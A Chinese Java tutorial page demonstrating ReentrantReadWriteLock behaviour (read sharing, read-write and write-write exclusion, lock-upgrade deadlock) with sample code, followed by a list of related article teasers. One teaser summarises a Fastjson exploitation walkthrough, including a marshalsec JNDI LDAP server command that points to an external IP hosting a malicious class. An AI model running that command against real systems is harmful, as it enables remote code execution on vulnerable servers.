【juc】读写锁ReentrantReadWriteLock

目录

        • 一、说明
        • 二、读读不互斥
          • 2.1 代码示例
          • 2.2 截图示例
        • 三、读写互斥
          • 3.1 代码示例
          • 3.2 截图示例
        • 四、写写互斥
          • 4.1 代码示例
          • 4.2 截图示例
        • 五、注意事项
          • 5.2.1 代码示例
          • 5.2.2 截图示例

一、说明

  • 1.当读操作远远高于写操作时，使用读写锁让读读可以并发，来提高性能
  • 2.类似于数据库中的select … from … lock in share mode
  • 3.提供一个数据容器类，内部分别使用读锁保护数据的read()方法，写锁保护数据的write()方法

二、读读不互斥

2.1 代码示例
package com.learning;

import lombok.extern.slf4j.Slf4j;

import java.util.concurrent.locks.ReentrantReadWriteLock;

@Slf4j
public class ReadWriteLockLearning {
    private Object data;
    private ReentrantReadWriteLock reentrantReadWriteLock = new ReentrantReadWriteLock();
    private ReentrantReadWriteLock.ReadLock readLock = reentrantReadWriteLock.readLock();
    private ReentrantReadWriteLock.WriteLock writeLock = reentrantReadWriteLock.writeLock();


    public Object read(){
        log.debug("获取读锁");
        readLock.lock();
        try {
            log.debug("读取");
            try {
                Thread.sleep(1000);
            }catch(Exception e){
                e.printStackTrace();
            }
            return data;
        }finally {
            log.debug("释放读锁");
            readLock.unlock();
        }
    }

    public void write(){
        log.debug("获取写锁");
        writeLock.lock();
        try{
            log.debug("写入");
        }finally {
            log.debug("释放写锁");
            writeLock.unlock();
        }
    }

    public static void main(String[] args) {
        ReadWriteLockLearning readWriteLockLearning = new ReadWriteLockLearning();
        new Thread(()->{
            readWriteLockLearning.read();
        }, "t1").start();


        new Thread(()->{
            readWriteLockLearning.read();
        }, "t2").start();
    }
}
2.2 截图示例

在这里插入图片描述

三、读写互斥

3.1 代码示例
package com.learning;

import lombok.extern.slf4j.Slf4j;

import java.util.concurrent.locks.ReentrantReadWriteLock;

@Slf4j
public class ReadWriteLockLearning {
    private Object data;
    private ReentrantReadWriteLock reentrantReadWriteLock = new ReentrantReadWriteLock();
    private ReentrantReadWriteLock.ReadLock readLock = reentrantReadWriteLock.readLock();
    private ReentrantReadWriteLock.WriteLock writeLock = reentrantReadWriteLock.writeLock();


    public Object read(){
        log.debug("获取读锁");
        readLock.lock();
        try {
            log.debug("读取");
            return data;
        }finally {
            log.debug("释放读锁");
            readLock.unlock();
        }
    }

    public void write(){
        log.debug("获取写锁");
        writeLock.lock();
        try{
            log.debug("写入");
            try {
                Thread.sleep(1000);
            }catch(Exception e){
                e.printStackTrace();
            }
        }finally {
            log.debug("释放写锁");
            writeLock.unlock();
        }
    }

    public static void main(String[] args) {
        ReadWriteLockLearning readWriteLockLearning = new ReadWriteLockLearning();
        new Thread(()->{
            readWriteLockLearning.read();
        }, "t1").start();

        try {
            Thread.sleep(100);
        } catch (InterruptedException e) {
            e.printStackTrace();
        }

        new Thread(()->{
            readWriteLockLearning.write();
        }, "t2").start();
    }
}
3.2 截图示例

在这里插入图片描述

四、写写互斥

4.1 代码示例
package com.learning;

import lombok.extern.slf4j.Slf4j;

import java.util.concurrent.locks.ReentrantReadWriteLock;

@Slf4j
public class ReadWriteLockLearning {
    private Object data;
    private ReentrantReadWriteLock reentrantReadWriteLock = new ReentrantReadWriteLock();
    private ReentrantReadWriteLock.ReadLock readLock = reentrantReadWriteLock.readLock();
    private ReentrantReadWriteLock.WriteLock writeLock = reentrantReadWriteLock.writeLock();


    public Object read(){
        log.debug("获取读锁");
        readLock.lock();
        try {
            log.debug("读取");
            return data;
        }finally {
            log.debug("释放读锁");
            readLock.unlock();
        }
    }

    public void write(){
        log.debug("获取写锁");
        writeLock.lock();
        try{
            log.debug("写入");
            try {
                Thread.sleep(1000);
            }catch(Exception e){
                e.printStackTrace();
            }
        }finally {
            log.debug("释放写锁");
            writeLock.unlock();
        }
    }

    public static void main(String[] args) {
        ReadWriteLockLearning readWriteLockLearning = new ReadWriteLockLearning();
        new Thread(()->{
            readWriteLockLearning.write();
        }, "t1").start();

        try {
            Thread.sleep(100);
        } catch (InterruptedException e) {
            e.printStackTrace();
        }

        new Thread(()->{
            readWriteLockLearning.write();
        }, "t2").start();
    }
}
4.2 截图示例

在这里插入图片描述

五、注意事项

  • 1.读写不支持条件变量
  • 2.不支持重入时升级：持有读锁的情况下去获取写锁，会导致获取写锁永久等待
5.2.1 代码示例
package com.learning;

import lombok.extern.slf4j.Slf4j;

import java.util.concurrent.locks.ReentrantReadWriteLock;

@Slf4j
public class ReadWriteLockLearning2 {
    private Object data;
    private ReentrantReadWriteLock reentrantReadWriteLock = new ReentrantReadWriteLock();
    private ReentrantReadWriteLock.ReadLock readLock = reentrantReadWriteLock.readLock();
    private ReentrantReadWriteLock.WriteLock writeLock = reentrantReadWriteLock.writeLock();


    public void readWrite(){
        log.debug("获取读锁");
        readLock.lock();
        try {
            try{
                log.debug("获取写锁");
                writeLock.lock();
            }finally {
                log.debug("释放写锁");
                writeLock.unlock();
            }
        }finally {
            log.debug("释放读锁");
            readLock.unlock();
        }
    }

    public static void main(String[] args) {
        ReadWriteLockLearning2 readWriteLockLearning = new ReadWriteLockLearning2();
        readWriteLockLearning.readWrite();
    }
}
5.2.2 截图示例

在这里插入图片描述

  • 3.支持重入时降级：持有写锁的情况下去获取读锁

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mfbz.cn/a/95778.html

如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈qq邮箱809451989@qq.com，一经查实，立即删除！

相关文章

python matlab 画柱状图

python matlab 画柱状图

函数： bar(x, height, width0.8, bottomNone, *, aligncenter,dataNone, **kwargs) 设置坐标的刻度(ticks)，轴的标签和标题 在数据分析的很多时候，我们各个柱下面通常不是x刻度值，而是有实际意义的字符串，那么这个时…
阅读更多...
ceph对象三元素data、xattr、omap

ceph对象三元素data、xattr、omap

这里有一个ceph的原则，就是所有存储的不管是块设备、对象存储、文件存储最后都转化成了底层的对象object，这个object包含3个元素data，xattr，omap。data是保存对象的数据，xattr是保存对象的扩展属性，每个对象…
阅读更多...
我的创作纪念日：进程的概念、组成、特征；进程的基本状态；进程切换、原子操作、原语；进程间通信的方式；共享缓冲区、消息队列的本质、管道通信

我的创作纪念日：进程的概念、组成、特征；进程的基本状态；进程切换、原子操作、原语；进程间通信的方式；共享缓冲区、消息队列的本质、管道通信

一、进程的概念 如何区分这三个QQ进程？》除了名称之外，OS使用pid来唯一标识进程 二、进程的组成 PCB当中存储的都是OS在对进程进行管理时候的有用信息 PCB是给OS使用的一个数据结构，而程序段和数据段是给进程自己使用的，PCB是进…
阅读更多...
使用DataX对MySQL 8.1进行数据迁移

使用DataX对MySQL 8.1进行数据迁移

1. 环境准备 1.1 下载DataX 这里采用直接下载的方式：https://datax-opensource.oss-cn-hangzhou.aliyuncs.com/202308/datax.tar.gz，不过这个包是真的有点大。 1.2 安装Python Python下载地址：https://www.python.org/downloads/ 安装的时…
阅读更多...
基于白冠鸡算法优化的BP神经网络（预测应用） - 附代码

基于白冠鸡算法优化的BP神经网络（预测应用） - 附代码

基于白冠鸡算法优化的BP神经网络（预测应用） - 附代码 文章目录 基于白冠鸡算法优化的BP神经网络（预测应用） - 附代码1.数据介绍2.白冠鸡优化BP神经网络2.1 BP神经网络参数设置2.2 白冠鸡算法应用 4.测试结果：5.Matlab代…
阅读更多...
【第四阶段】kotlin语言的解构语法过滤元素

【第四阶段】kotlin语言的解构语法过滤元素

1.list集合的解构操作 package Stage4fun main() {val list listOf("java","kotlin","c")//元素解构var(v1,v2,v3)listprint("v1$v1,v2$v2,v3$v3") }执行结果 2.将上述代码转化为Java代码 使用Java 代码需要大量书写 3.解构过滤元…
阅读更多...
认识Mybatis的关联关系映射，灵活关联表对象之间的关系

认识Mybatis的关联关系映射，灵活关联表对象之间的关系

目录 一、概述 ( 1 ) 介绍 ( 2 ) 关联关系映射 ( 3 ) 关联讲述 二、一对一关联映射 2.1 数据库创建 2.2 配置文件 2.3 代码生成 2.4 编写测试 三、一对多关联映射 四 、多对多关联映射 给我们带来的收获 一、概述 ( 1 ) 介绍 关联关系映射是指在数据库中&…
阅读更多...
springboot中使用ElasticSearch

springboot中使用ElasticSearch

引入依赖 修改我们的pom.xml&#xff0c;加入spring-boot-starter-data-elasticsearch <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-data-elasticsearch</artifactId> </dependency>编写配…
阅读更多...
ESP32应用教程（2）— SD NAND（记录飞控LOG）

ESP32应用教程（2）— SD NAND（记录飞控LOG）

文章目录 前言 1 SD NAND概述 2 代码说明 3 记录Log 前言 本文基于 ESP32 芯片作为主控制器&#xff0c;测试 SD NAND 记录飞控 Log 功能。 关于 MCU 的存储方面&#xff0c;以前基本上用内置的 E2PROM&#xff0c;或者是外置的 NOR Flash 就可以。随着物联网的兴起&#…
阅读更多...
C语言每日一练------Day(6)

C语言每日一练------Day(6)

本专栏为c语言练习专栏&#xff0c;适合刚刚学完c语言的初学者。本专栏每天会不定时更新&#xff0c;通过每天练习&#xff0c;进一步对c语言的重难点知识进行更深入的学习。 今日练习题关键字&#xff1a;整数转换 异或 &#x1f493;博主csdn个人主页&#xff1a;小小unicorn…
阅读更多...
css滚动条样式这样修改下很漂亮

css滚动条样式这样修改下很漂亮

<!DOCTYPE html> <html> <head> <meta charset"utf-8"> <title>滚动条样式修改下很漂亮(不支持IE)</title> <style type"text/css"> * { margin: 0; padding: 0; } .box { width: 300px; height: 100px; margin…
阅读更多...
fastjson windows主机上线

fastjson windows主机上线

首先创建一个win类&#xff0c;作为命令执行的类 然后写一个漏洞Fastjson的执行类 将我们的win类传上vps 然后开启web服务 接下来利用ldap协议 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://185.239.225.205:80/#win 6666然后我们运…
阅读更多...
MySQL的mysql-bin.00xx binlog日志文件的清理

MySQL的mysql-bin.00xx binlog日志文件的清理

目录 引言手工清理配置自动清理 引言 公司一个项目生产环境mysql数据盘占用空间增长得特别快&#xff0c;经过排查发现是开启了mysql的binlog日志。如果把binlog日志关闭&#xff0c;如果操作万一出现问题&#xff0c;就没有办法恢复数据&#xff0c;很不安全&#xff0c;只能…
阅读更多...
解读亚马逊云科技语义搜图检索方案

解读亚马逊云科技语义搜图检索方案

图像检索&#xff08;包括文搜图和图搜图&#xff09;是各个行业中常见的一个应用场景。比如在电商场景中&#xff0c;基于以图搜图做相似商品查找&#xff1b;在云相册场景中&#xff0c;基于文搜图来找寻所需的图像素材。 传统基于标签的图像检索方式&#xff0c;即先使用目标…
阅读更多...
信息系统项目管理师（第四版）教材精读思维导图-第七章项目立项管理

信息系统项目管理师（第四版）教材精读思维导图-第七章项目立项管理

请参阅我的另一篇文章&#xff0c;综合介绍软考高项&#xff1a; 信息系统项目管理师&#xff08;软考高项&#xff09;备考总结_计算机技术与软件专业技术_铭记北宸的博客-CSDN博客 本章思维导图PDF格式 本章思维导图XMind源文件 ​ 目录 7.1 项目建议与立项申请 7.2 项目可…
阅读更多...
无门槛访问ChatGPT升级版-数据指北AI

无门槛访问ChatGPT升级版-数据指北AI

大家好&#xff0c;我是脚丫先生 (o^^o) 给小伙伴们介绍ChatGPT升级版不需要任何门槛&#xff0c;不需要单独搞账号&#xff0c;只要邮箱登录的方式&#xff0c;即可访问平台&#xff0c;以用户体验为首要&#xff0c;让所有人都能无门槛的使用目前市面上最强大的AI智能聊天&a…
阅读更多...
飞凌嵌入式受邀参加「RISC-V芯片应用交流会」并发表主题演讲

飞凌嵌入式受邀参加「RISC-V芯片应用交流会」并发表主题演讲

8月23日下午&#xff0c;在第三届RISC-V中国峰会现场&#xff0c;由赛昉科技主办的「RISC-V芯片应用交流会」吸引了诸多行业伙伴和专家到场参与。此次会议旨在分享赛昉科技高性能RISC-V芯片的软件生态、应用产品、解决方案等全面进展&#xff0c;共同探讨RISC-V芯片的未来发展和…
阅读更多...
基于硬件隔离增强risc-v调试安全2_安全提议

基于硬件隔离增强risc-v调试安全2_安全提议

安全之安全(security)博客目录导读 2023 RISC-V中国峰会 安全相关议题汇总 说明&#xff1a;本文参考RISC-V 2023中国峰会如下议题&#xff0c;版权归原作者所有。
阅读更多...
Git操作

Git操作

Git 操作方法 Git 是一个分布式版本控制系统&#xff0c;用于管理项目的源代码。 gitee新建仓库提示如下 具体介绍看下面 1. 创建仓库 初始化本地仓库 使用以下命令在本地目录中初始化一个新的 Git 仓库&#xff1a; git init克隆远程仓库 使用以下命令克隆一个远程仓库…
阅读更多...
动态维护直径 || 动态维护树上路径 || 涉及LCA点转序列 || 对欧拉环游序用数据结构维护：1192B

动态维护直径 || 动态维护树上路径 || 涉及LCA点转序列 || 对欧拉环游序用数据结构维护：1192B

https://www.luogu.com.cn/problem/CF1192B 对于直径的求法&#xff0c;常用dp或两次dfs&#xff0c;但如果要动态维护似乎都不太方面&#xff0c;那么可以维护树上路径最大值。 树上路径为&#xff1a; d e p u d e p v − 2 d e p l c a ( u , v ) dep_udep_v-2\times de…
阅读更多...
最新文章

Copyright @ 2022~2023

友情链接： 我的编程经验分享 一条长河网 尧图网站开发 尧图建网站